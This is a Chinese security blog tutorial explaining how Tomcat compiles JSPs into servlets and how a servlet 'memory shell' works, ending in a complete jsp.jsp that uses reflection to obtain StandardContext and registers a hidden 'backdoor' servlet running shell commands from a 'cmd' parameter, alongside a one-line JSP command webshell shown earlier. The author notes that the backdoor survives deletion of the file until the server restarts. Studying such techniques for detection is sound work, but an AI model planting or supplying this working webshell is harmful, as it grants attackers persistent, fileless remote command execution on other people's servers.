Java安全之servlet内存马分析
目录
前言
什么是中间键
了解jsp的本质
理解servlet运行机制
servlet的生命周期
Tomcat总体架构
查看Context 的源码
servlet内存马实现
参考
前言
php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下了 ,内存马无落地文件,更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的,究竟什么是内存马呢?
为了搞清这点我们必须从java的特性底层出发,才能对内存马知根知底。
本节我将介绍
什么是内存马?
什么是servlet?
servlet运行机制
jsp的本质
Tomcat总体架构
注册servlet到tomcat
注册的流程
StandardContext类
servlet内存马的实现
什么是中间键
当我们发送一个url到服务器,再到服务器返回数据到给用户,这个过程中经历了什么!
我们都知道tomcat 是一个java程序的中间件,为什么这么说呢!
当我们浏览器发出url到web服务器,web服务器谁来处理这些连接请求 处理数据 返回数据?为什么一定要用tomcat不用行不行? tomcat帮我们做了什么?
tomcat的实现底层用到了socket编程 i/o输入输出流 反射调用 线程等技术。想一想如果不用tomcat 我们是否可以用纯java代码来实现这些功能!
了解jsp的本质
我们启用tomcat 把index.jsp复制到tomcat项目目录webapps\testServlet下
<%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));%>
启动tomcat /bin/startup.bat
访问并传递参数http://127.0.0.1:8080/testServlet/index.jsp?cmd=calc
这里成功运行了jsp的java代码。
我们都知道java不像php语言一样,它是由java编译后运行的。编译器是怎么理解jsp的呢? 是什么机制?
我们可以打开tomcat的工作空间\apache-tomcat-8.0.50\work\Catalina\localhost\testServlet\org\apache\jsp
查看对应项目的反编译文件class类
查看index_jsp.java
/** Generated by the Jasper component of Apache Tomcat* Version: Apache Tomcat/8.0.50* Generated at: 2023-09-xx 02:06:44 UTC* Note: The last modified time of this file was set to* the last modified time of the source file after* generation to assist with modification tracking.*/
package org.apache.jsp;import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;public final class index_jsp extends org.apache.jasper.runtime.HttpJspBaseimplements org.apache.jasper.runtime.JspSourceDependent,org.apache.jasper.runtime.JspSourceImports {private static final javax.servlet.jsp.JspFactory _jspxFactory =javax.servlet.jsp.JspFactory.getDefaultFactory();private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;private static final java.util.Set<java.lang.String> _jspx_imports_packages;private static final java.util.Set<java.lang.String> _jspx_imports_classes;static {_jspx_imports_packages = new java.util.HashSet<>();_jspx_imports_packages.add("javax.servlet");_jspx_imports_packages.add("javax.servlet.http");_jspx_imports_packages.add("javax.servlet.jsp");_jspx_imports_classes = null;}private volatile javax.el.ExpressionFactory _el_expressionfactory;private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;public java.util.Map<java.lang.String,java.lang.Long> getDependants() {return _jspx_dependants;}public java.util.Set<java.lang.String> getPackageImports() {return _jspx_imports_packages;}public java.util.Set<java.lang.String> getClassImports() {return _jspx_imports_classes;}public javax.el.ExpressionFactory _jsp_getExpressionFactory() {if (_el_expressionfactory == null) {synchronized (this) {if (_el_expressionfactory == null) {_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();}}}return _el_expressionfactory;}public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {if (_jsp_instancemanager == null) {synchronized (this) {if (_jsp_instancemanager == null) {_jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());}}}return _jsp_instancemanager;}public void _jspInit() {}public void _jspDestroy() {}public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)throws java.io.IOException, javax.servlet.ServletException {final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}final javax.servlet.jsp.PageContext pageContext;javax.servlet.http.HttpSession session = null;final javax.servlet.ServletContext application;final javax.servlet.ServletConfig config;javax.servlet.jsp.JspWriter out = null;final java.lang.Object page = this;javax.servlet.jsp.JspWriter _jspx_out = null;javax.servlet.jsp.PageContext _jspx_page_context = null;try {response.setContentType("text/html");pageContext = _jspxFactory.getPageContext(this, request, response,null, true, 8192, true);_jspx_page_context = pageContext;application = pageContext.getServletContext();config = pageContext.getServletConfig();session = pageContext.getSession();out = pageContext.getOut();_jspx_out = out;Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));out.write('\r');out.write('\n');} catch (java.lang.Throwable t) {if (!(t instanceof javax.servlet.jsp.SkipPageException)){out = _jspx_out;if (out != null && out.getBufferSize() != 0)try {if (response.isCommitted()) {out.flush();} else {out.clearBuffer();}} catch (java.io.IOException e) {}if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);else throw new ServletException(t);}} finally {_jspxFactory.releasePageContext(_jspx_page_context);}}
}
可以看到我们写的jsp代码在index_jsp类中定义,而index_jsp类继承了org.apache.jasper.runtime.HttpJspBase
为了找到这个类,我们可以先找到jasper.jar这个包 在随便添加到某个项目里,查看里面的文件
package org.apache.jasper.runtime;import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.HttpJspPage;
import org.apache.jasper.compiler.Localizer;public abstract class HttpJspBase extends HttpServlet implements HttpJspPage {private static final long serialVersionUID = 1L;protected HttpJspBase() {}public final void init(ServletConfig config) throws ServletException {super.init(config);this.jspInit();this._jspInit();}public String getServletInfo() {return Localizer.getMessage("jsp.engine.info");}public final void destroy() {this.jspDestroy();this._jspDestroy();}public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this._jspService(request, response);}public void jspInit() {}public void _jspInit() {}public void jspDestroy() {}protected void _jspDestroy() {}public abstract void _jspService(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException;
}
可以明确看到HttpJspBase 继承了HttpServlet类
可以说jsp的本质就是一个HttpServlet类
理解servlet运行机制
我们正常的servlet怎么写!
@WebServlet("/test")
public class TestServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {//super.doGet(req, resp);resp.getWriter().write("hello world");}
我们使用注解的方式,建立url地址/test 对应Servlet TestServlet类,重写doGet 向客户端返回hello world
浏览器访问 http://127.0.0.1:8080/testServlet/test
tomcat 是怎么处理调用这个类的!
简单来说 tomcat程序会扫描项目中的@WebServlet 获取相应的字符串,在通过反射的方式,实例化这个对象,在对应socket连接输入输出流的基础上创建线程,调用Servlet 其中request请求对象也传了进去(也是由tomcat收集请求信息创建的对象)。调用service方法再根据请求参数调用相应的处理方法比如doget方法。
servlet的生命周期
实际上tomcat维护了一个大的hashmap<id,Servlet> 里面存放着servlet实例,当我们第一次尝试访问这个servlet路径时,tomcat使用反射将该servlet实例化同时调用init() 作初始化,之后这个实例就存放在了tomcat维护的hashmap<id,Servlet>中供后续使用。当再次请求这个servlet资源的时候,由于hashmap<id,Servlet>已经有这个实例 ,所以这时也不用再实例化对象,直接就可以使用了,因此init() 也不会调用。
可以看出 servlet 自实例化以来就一直可以常驻内存中,直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。
既然jsp可以执行java代码,servlet也是java代码一步一步地走出来的,那么我们是否可以用jsp手写底层逻辑再注册一个servlet呢! 如果tomcat中有一个servlet可以为攻击者所用,是不是就是说,有一个隐藏的后门,考虑到servlet的生命周期这个后门就是常驻内存的持久化的后门!
这就是所谓的--------------内存马
Tomcat总体架构
对照上面的关系图
Server:Server容器就代表一个Tomcat实例(Catalina实例),其下可以有一个或者多个Service容器;
从Tomcat安装目录下的/conf/server.xml 文件里可以看到最顶层的是server。
Service:Service是提供具体对外服务的(默认只有一个),一个Service容器中又可以有多个Connector组件(监听不同端口请求,解析请求)和一个Servlet容器(做具体的业务逻辑处理);Service组件本身没做其他事
Engine和Host:Engine组件(引擎)是Servlet容器Catalina的核心,它支持在其下定义多个虚拟主机(Host),虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名,比如www.baidu.com、www.bat.com分割开来互不干扰;
Context:每个虚拟主机又可以支持多个web应用部署在它下边,这就是我们所熟知的上下文对象Context,上下文是使用由Servlet规范中指定的Web应用程序格式表示,不论是压缩过的war包形式的文件还是未压缩的目录形式;
Wrapper:在上下文中又可以部署多个servlet,并且每个servlet都会被一个包装组件(Wrapper)所包含(一个wrapper对应一个servlet)
怎么理解Engine Host Context Wrapper 这四者之间的关系呢? 抛开晦涩难懂的术语 或许我们用java的特性会更好理解点,基于万物皆可对象。
Engine: 我们可以直接把他理解为tomcat,一个tomcat 一个Engine;若我们想运行一个网站首先要下载安装tomcat对吧!
Host: host可以理解为一个虚拟主机,为什么是虚拟? 想一想我们的一台电脑(主机)只能开启一个web服务吗!并不是吧,我们可以绑定不同端口或者不同域名来开启一个或多个web服务。在外部看来就好像多台主机启动一样,但实际上它们都是一台主机开启的。为了描述这种技术我们将其称之为虚拟主机;当我们下载安装好后,一定会考虑配置tomcat要监听的网卡和要监听的端口甚至是域名,对吧!
Context :很多人说这是上下文!那你能说说什么是上下文吗!不要用术语去解释术语,当然这也有可能是翻译问题。我们看看官方怎么说的Apache Tomcat 7 Configuration Reference (7.0.109) - The Context Containerhttps://tomcat.apache.org/tomcat-7.0-doc/config/context.html
The Context element represents a web application, which is run within a particular virtual host. Each web application is based on a Web Application Archive (WAR) file, or a corresponding directory containing the corresponding unpacked contents, as described in the Servlet Specification (version 2.2 or later). For more information about web application archives, you can download the Servlet Specification, and review the Tomcat Application Developer's Guide.
------------换句话说可以把这个理解为webapps目录下的目录,一个context就是一个目录,万物皆对象嘛!
对于我们的servlet程序(本质就是一个java类)肯定是存在于目录(Context)下对吧!故在这个世界中它的创建销毁是交给了context对象来管理。
举个例子 来加深下Context 的理解
在server.xml 配置如下 ;写在host标签下
<Context path="/myapp" docBase="C:/path/to/myapp" />
在上面的示例中,使用了一个 <Context> 标签来为名为 "myapp" 的上下文进行配置。通过设置 path 属性为 "/myapp",将应用程序的上下文路径设置为 "/myapp"。用程序的部署目录在本地文件系统上的路径为 C:/path/to/myapp
。这个路径可以是包含应用程序源代码、配置文件和资源的目录。在访问该应用程序时,需要使用类似于 http://localhost:8080/myapp
的 URL即可。
Wrapper 就是servlet了,此次我们重点要关注的是servlet的创建注册,由于它的创建交由Context管理。故我们把重点放到Context 上,寻求注册servlet的方法。
查看Context 的源码
源码下载Apache Tomcat® - Apache Tomcat 8 Software Downloads
参考文章最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)
我们来到包package org.apache.catalina.startup;下 找到contextconfig.java 文件;代码两千多行,尝试搜索create找到创建servlet(wrapper)相关代码。代码定位在1282行
for (ServletDef servlet : webxml.getServlets().values()) {Wrapper wrapper = context.createWrapper();// Description is ignored// Display name is ignored// Icons are ignored// jsp-file gets passed to the JSP Servlet as an init-paramif (servlet.getLoadOnStartup() != null) {wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());}if (servlet.getEnabled() != null) {wrapper.setEnabled(servlet.getEnabled().booleanValue());}wrapper.setName(servlet.getServletName());Map<String,String> params = servlet.getParameterMap();for (Entry<String, String> entry : params.entrySet()) {wrapper.addInitParameter(entry.getKey(), entry.getValue());}wrapper.setRunAs(servlet.getRunAs());Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();for (SecurityRoleRef roleRef : roleRefs) {wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());}wrapper.setServletClass(servlet.getServletClass());MultipartDef multipartdef = servlet.getMultipartDef();if (multipartdef != null) {long maxFileSize = -1;long maxRequestSize = -1;int fileSizeThreshold = 0;if(null != multipartdef.getMaxFileSize()) {maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());}if(null != multipartdef.getMaxRequestSize()) {maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());}if(null != multipartdef.getFileSizeThreshold()) {fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());}wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(),maxFileSize,maxRequestSize,fileSizeThreshold));}if (servlet.getAsyncSupported() != null) {wrapper.setAsyncSupported(servlet.getAsyncSupported().booleanValue());}wrapper.setOverridable(servlet.isOverridable());context.addChild(wrapper);}for (Entry<String, String> entry :webxml.getServletMappings().entrySet()) {context.addServletMappingDecoded(entry.getKey(), entry.getValue());}
这段代码片段是在处理Servlet的配置信息,并根据配置信息创建相应的Wrapper对象。具体的逻辑如下:
遍历webxml中所有的Servlet,使用一个增强型for循环,每次迭代将当前的ServletDef对象赋值给
servlet
变量。创建一个Wrapper对象,并设置一些基本属性,如名称、是否启用等。
获取Servlet的参数集合,并将每个参数添加到Wrapper的初始化参数中。
设置Servlet的执行权限。
添加与Servlet相关的安全角色引用。
设置Servlet的类名。
处理Servlet的多部分配置,包括文件大小限制、上传位置等。
设置是否支持异步请求。
设置是否允许覆盖。
将创建的Wrapper对象添加到上下文(Context)中。
通过以上步骤,这段代码实现了对webxml中所有Servlet的遍历和配置处理,并将其对应的Wrapper对象添加到上下文中,以便后续的Servlet的加载和运行。
11.实现将Servlet与URL模式进行映射,并将映射关系添加到上下文中,以便后续请求匹配对应的Servlet进行处理。
基于以上代码我们需要做简单的修改,保留关键部分的代码
Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
这段代码的作用是创建一个Wrapper对象,并将其添加到上下文中,同时将Servlet与URL模式进行映射。具体逻辑如下:
创建一个Wrapper对象,调用上下文(Context)的
createWrapper()
方法,返回一个新的Wrapper实例,并将其赋值给wrapper
变量。设置Wrapper的名称,即调用
setName()
方法,将Servlet的名称(servletName)设置为Wrapper的名称。设置Wrapper的Servlet类名,即调用
setServletClass()
方法,将Servlet的类名(servletClass)设置为Wrapper的Servlet类名。将创建的Wrapper对象添加到上下文中,即调用上下文的
addChild()
方法,将Wrapper作为子元素添加到上下文中。将Servlet与URL模式进行映射并添加到上下文中,即调用上下文的
addServletMappingDecoded()
方法,将URL模式和Wrapper的名称作为参数传入,将URL模式与对应的Servlet进行映射。通过以上步骤,可以实现创建Wrapper对象并将其添加到上下文中,同时将Servlet与URL模式进行映射,以便后续根据URL模式匹配到对应的Servlet进行请求处理。
由于context为接口 ,我们需要一个实例用context接收 调用createWrapper()方法。
Context,实现类为 org.apache.catalina.core.StandardContext
目前我们有request对象,它其中getServletContext()方法。看看能否找到相关的类StandardContext
servlet内存马实现
servlet后门定义
<%!
public class backdoor extends HttpServlet {@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{resp.getWriter().write("hello world");Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));}}
%>
获取一个StandardContext对象
<%// 一个小路径快速获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();
%>
创建weapper,注册servlet
<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>
和起来的的代码jsp.jsp
//jsp功能实现
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html><head><title>backdoor</title></head><body>
<h1>backdoor</h1>
<%!
public class backdoor extends HttpServlet {@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{resp.getWriter().write("hello world");Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));}}
%>
<%// 一个小路径快速获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();
%><%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%></body>
</html>
上传jsp.jsp到tomcat项目目录webapps\testServlet下,访问
( 插曲,其实这里出的错不少,一直调啊调,最终才调好。)
貌似执行成功了 ,现在访问我们的servlet 带上参数
根据理论,现在即使删除jsp.jsp文件,这个路径访问还是会生效。算的上是一个持久化的后门。
只有tomcat重启,这个注册的servlet才会被销毁。
除此之外,我们还可以从监听器 过滤器下手,它们也可以创建内存马,不过本质上都一样,。
参考
Servlet内存马-CSDN博客
最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)
java内存马专题1-servlet内存马_哔哩哔哩_bilibili
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
GPT3.5
相关文章:
Java安全之servlet内存马分析
目录 前言 什么是中间键 了解jsp的本质 理解servlet运行机制 servlet的生命周期 Tomcat总体架构 查看Context 的源码 servlet内存马实现 参考 前言 php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下…...
2023年第二十届中国研究生数学建模竞赛总结与分享
今天是国庆节,祝祖国繁荣富强。正好也学习不下去,就想着写写博客,总结一下自己在参加2023年第20届中国研究生数学建模比赛的一些感受。 目录 1.基本介绍 2.比赛分享 1.基本介绍 1. 竞赛时间:竞赛定于2023年9月22日8:00至2023年9…...
Web前端-Vue2+Vue3基础入门到实战项目-Day1(初始Vue, Vue指令, 小黑记事本)
Web前端-Vue2Vue3基础入门到实战项目-Day1 Vue快速上手创建一个Vue实例插值表达式Vue响应式特性 Vue指令指令初识 和 v-htmlv-show 和 v-ifv-else 和 v-else-ifv-on内联语句methods处理函数调用传参 v-bind案例 - 波仔的学习之旅v-forv-for基本使用案例 - 小黑的书架v-for的key…...
Sentinel学习(2)——sentinel的使用,引入依赖和配置 对消费者进行流控 对生产者进行熔断降级
前言 Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件,主要以流量为切入点,从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维度来帮助开发者保障微服务的稳定性。 本篇博客介绍sentinel的使用&#x…...
springboot 简单配置mongodb多数据源
准备工作: 本地mongodb一个创建两个数据库 student 和 student-two 所需jar包: # springboot基于的版本 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId>&l…...
西门子S7-1200使用LRCF通信库与安川机器人进行EthernetIP通信的具体方法示例
西门子S7-1200使用LRCF通信库与安川机器人进行EthernetIP通信的具体方法示例 准备条件: PLC:S7-1200 1214C DC/DC/DC 系统版本4.5及以上。 机器人控制柜:安川YRC1000。 软件:TIA V17 PLC做主站,机器人做从站。 具体方法可参考以下内容: 使用的库文件为西门子 1200系列…...
pytorch第一天(tensor数据和csv数据的预处理)lm老师版
tensor数据: import torch import numpyx torch.arange(12) print(x) print(x.shape) print(x.numel())X x.reshape(3, 4) print(X)zeros torch.zeros((2, 3, 4)) print(zeros)ones torch.ones((2,3,4)) print(ones)randon torch.randn(3,4) print(randon)a …...
CSP-J第二轮试题-2021年-1.2题
文章目录 参考:总结 [CSP-J 2021] 分糖果题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 样例 #2样例输入 #2样例输出 #2 样例 #3样例输入 #3样例输出 #3 提示答案1答案2-优化 [CSP-J 2021] 插入排序题目描述输入格式输出格式样例 #1样例输入 #1样…...
怒刷LeetCode的第16天(Java版)
目录 第一题 题目来源 题目内容 解决方法 方法一:迭代 方法二:模拟 方法三:循环模拟 方法四:传递 第二题 题目来源 题目内容 解决方法 方法一:回溯 方法二:枚举优化 第三题 题目来源 题目…...
让大脑自由
前言 作者写这本书的目的是什么? 教会我们如何让大脑更好地为自己工作。 1 大脑的运行机制是怎样的? 大脑的基本运行机制是神经元之间通过突触传递信息,神经元的兴奋和抑制状态决定了神经网络的运行和信息处理,神经网络可以通过…...
Arcgis克里金插值报错:ERROR 010079: 无法估算半变异函数。 执行(Kriging)失败。
Arcgis克里金插值报错:ERROR 010079: 无法估算半变异函数。 执行(Kriging)失败。 问题描述: 原因: shape文件的问题,此图可以看出,待插值的点有好几个都超出了地理范围之外,这个不知道是坐标系配准的问…...
Docker Compose安装
title: “Docker Compose安装” createTime: 2022-01-04T19:08:1508:00 updateTime: 2022-01-04T19:08:1508:00 draft: false author: “name” tags: [“docker”,“docker-compose”] categories: [“install”] description: “测试的” docker-compose安装步骤 1.下载 u…...
机器人过程自动化(RPA)入门 7. 处理用户事件和助手机器人
在UiPath中,有两种类型的Robot用于自动化任何流程。一个是后台机器人,它在后台工作。它独立工作,这意味着它不需要用户的输入或任何用户交互。另一个是前台机器人,也被称为助理机器人。 本章介绍前台机器人。在这里,我们将了解自动化过程中通过简单按键、单击鼠标等触发事…...
在linux下预览markdown的方法,转换成html和pdf
背景 markdown是一种便于编写和版本控制的格式,但却不便于预览——特别是包含表格等复杂内容时,单纯的语法高亮是远远不够的——这样就不能边预览边调整内容,需要找到一种预览方法。 思路 linux下有个工具,叫pandoc,…...
AIOT入门指南:探索人工智能与物联网的交汇点
AIOT入门指南:探索人工智能与物联网的交汇点 1. 引言 随着技术的快速发展,人工智能(AI)和物联网(IoT)已经成为当今最热门的技术领域。当这两个领域交汇时,我们得到了AIOT - 一个结合了AI的智能…...
CCC数字钥匙设计【NFC】 --车主配对流程介绍
1、车主配对流程介绍 车主配对流程可以通过车内NFC进行,若支持UWB测距,也可以通过蓝牙/UWB进行,本文主要介绍通过NFC进行车主配对的流程。 整个配对流程相对较为复杂,本文主要梳理整体的步骤流程,其中的每个细节流程未…...
一站式开源持续测试平台 MerterSphere 之测试跟踪操作详解
一、MeterSphere平台介绍 MeterSphere是一站式的开源持续测试平台,遵循 GPL v3 开源许可协议,涵盖测试跟踪、接口测试、UI 测试和性能测试等功能,全面兼容JMeter、Selenium 等主流开源标准,有效助力开发和测试团队充分利用云弹性进…...
自然语言处理状况简介
一、说明 自然语言处理已经进入大模型时代,然而从业人员必须了解整个知识体系、发展过程、知识结构,应用范围等一系列知识。本篇将报道此类概况。 二、自然语言处理简介 自然语言处理,或简称NLP,是处理和转换文本的计算机科学学科…...
python爬虫基于管道持久化存储操作
文章目录 基于管道持久化存储操作scrapy的使用步骤1.先转到想创建工程的目录下:cd ...2.创建一个工程3.创建之后要转到工程目录下4.在spiders子目录中创建一个爬虫文件5.执行工程setting文件中的参数 基于管道持久化存储的步骤:持久化存储1:保…...
【MySQL】数据类型(二)
文章目录 一. char字符串类型二. varchar字符串类型2.1 char和varchar比较 三. 日期和时间类型四. enum和set类型4.1 set的查询 结束语 一. char字符串类型 char (L) 固定长度字符串 L是可以存储的长度,单位是字符,最大长度是255 MySQL中的字符ÿ…...
基于Matlab实现连续模型求解方法
本文介绍了如何使用Matlab实现连续模型求解方法。首先,我们介绍了连续模型的概念,并明确了使用ODE和PDE求解器来求解常微分方程和偏微分方程的步骤。然后,我们通过一个简单的例子演示了如何将问题转化为数学模型,并使用Matlab编写…...
Tomcat 与 JDK 对应版本关系
对应关系 Tomcat版本 jdk版本11.0.x JDK 21及以后10.1.x JDK11及以后10.0.xJDK1.8及以后9.0.x JDK1.8及以后8.5.xJDK1.7及以后8.0.x JDK1.7及以后 查看对应关系方法: 登陆Tomcat官网:Apache Tomcat - Welcome! 结果:...
iOS自动化测试方案(二):Xcode开发者工具构建WDA应用到iphone
文章目录 一、环境准备1.1、软件环境1.2、硬件环境1.3、查看版本 二、安装WDA过程2.7、构建失败,这类错误有很多,比如在选择开发者账号后,就会提示:Failed to register bundle identifier表示应用唯一注册失败2.9、第二个错误,完全…...
IDEA的Maven换源
前言 IDEA是个好东西,但是使用maven项目时可能会让人很难受,要么是非常慢,要么直接下载不了。所以我们需要给IDEA自带maven换源,保证我们的下载速度。 具体操作 打开IDEA安装路径,然后打开下面的文件夹 plugins\m…...
步进电机只响不转
我出现问题的原因是相位线接错。 我使用的滑台上示17H的步进电机,之前用的是57的步进电机。 57步进电机的相位线是A黑、A-绿、B红、B-蓝。 17步进电机的相位线是A红、A-绿、B黑、B-蓝。 这两天被一个问题困扰了好久,在调试步进电机开发板的时候电机发生…...
使用select实现服务器并发
select函数介绍: select 函数是一个用于在一组文件描述符上进行异步I/O多路复用的系统调用。它可以同时监视多个文件描述符,等待其中任何一个文件描述符准备就绪,然后进行相应的操作。 以下是select函数的原型: #include <…...
【Python】基于OpenCV人脸追踪、手势识别控制的求实之路FPS游戏操作
【Python】基于OpenCV人脸追踪、手势识别控制的求实之路FPS游戏操作 文章目录 手势识别人脸追踪键盘控制整体代码附录:列表的赋值类型和py打包列表赋值BUG复现代码改进优化总结 py打包 视频: 基于OpenCV人脸追踪、手势识别控制的求实之路FPS游戏操作 手…...
力扣 -- 718. 最长重复子数组
解题步骤: 参考代码: class Solution { public:int findLength(vector<int>& nums1, vector<int>& nums2) {int m nums1.size();int n nums2.size();//多开一行,多开一列vector<vector<int>> dp(m 1, ve…...
MP、MybatisPlus、联表查询、自定义sql、Constants.WRAPPER、ew (二)
描述: 给定一个id列表,更新对应列表中动物的年龄,使得年龄都较少一岁。 要求:使用条件构造器构造条件。 mapper: void updateAnimalAge(Param(Constants.WRAPPER) Wrapper<Animal> wrapper, Param("age&qu…...
Ubuntu服务器安全性提升:修改SSH默认端口号
在Ubuntu服务器上,SSH(Secure Shell)是一种至关重要的远程连接工具。它提供了一种安全的方式来远程连接和管理计算机系统,通过加密通信来确保数据的保密性和完整性。SSH协议广泛用于计算机网络中,用于远程管理、文件传…...
ps网页版在线制作/家庭优化大师
引用:http://www.williamlong.info/archives/3181.html CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,也是一种常见的网站攻击方法,攻击者通过代理服务器或者肉鸡向向受害主机不停…...
joomla 网站建设教程/代运营公司哪家好一些
11.25事物隔离级别事物日志redo undo事物锁 begin; update事物日志性能优化 innodb_flush_log_at_trx_commit0|1|2|3innodb事务日志相关配置; show variables like %innodb_log%;通用日志通用日志:记录对数据库的通用操作,包括错误的SQL语句通…...
品牌策划包括哪些内容/巩义关键词优化推广
近年备孕夫妻出现宫外孕大出血,医院上演生死时速的新闻屡见不鲜,而我们不孕医生对于碰到宫外孕的病人也是精神紧绷,究其原因是宫外孕一旦发生破裂,短时间内就会失血过多,危及孕妇生命。本文就具体了解关于宫外孕的知识…...
做名片最好的网站是哪个/百度网站入口链接
惠普电脑如何设置光驱启动呢惠普hp pavilion g4 购买之后一直使用很好,最近重新安装系统想设置光盘启动。发现按照常规的F2 F12 del 等都不能进入Bios。最后才发现原来HP进入BIOS的.键是F10,下面是小编为大家收集的资料,一起来看看吧。惠普…...
网站建设算行政工作吗/企业如何网络推广
输入输出参数: 给存储过程传参数,叫做输入参数,用户告诉存储过程需要 利用这个参数干些什么. 输出参数: 从存储过程得到那些数据. 创建一个可选参数的存储过程: create proc pa1 name varchar(50)NULL as if(name is not null)select * from a where name like name%; elsesele…...
网站标题乱码/2345网址导航主页
数据集来源 MNIST公开手写数字数据集 git clone https://github.com/mnielsen/neural-networks-and-deep-learning.gitMNIST数据读取 数据读取参考教程: https://blog.csdn.net/panrenlong/article/details/81736754 python的struct用法 函数returnexplainpack(fmt,v1,v2…)st…...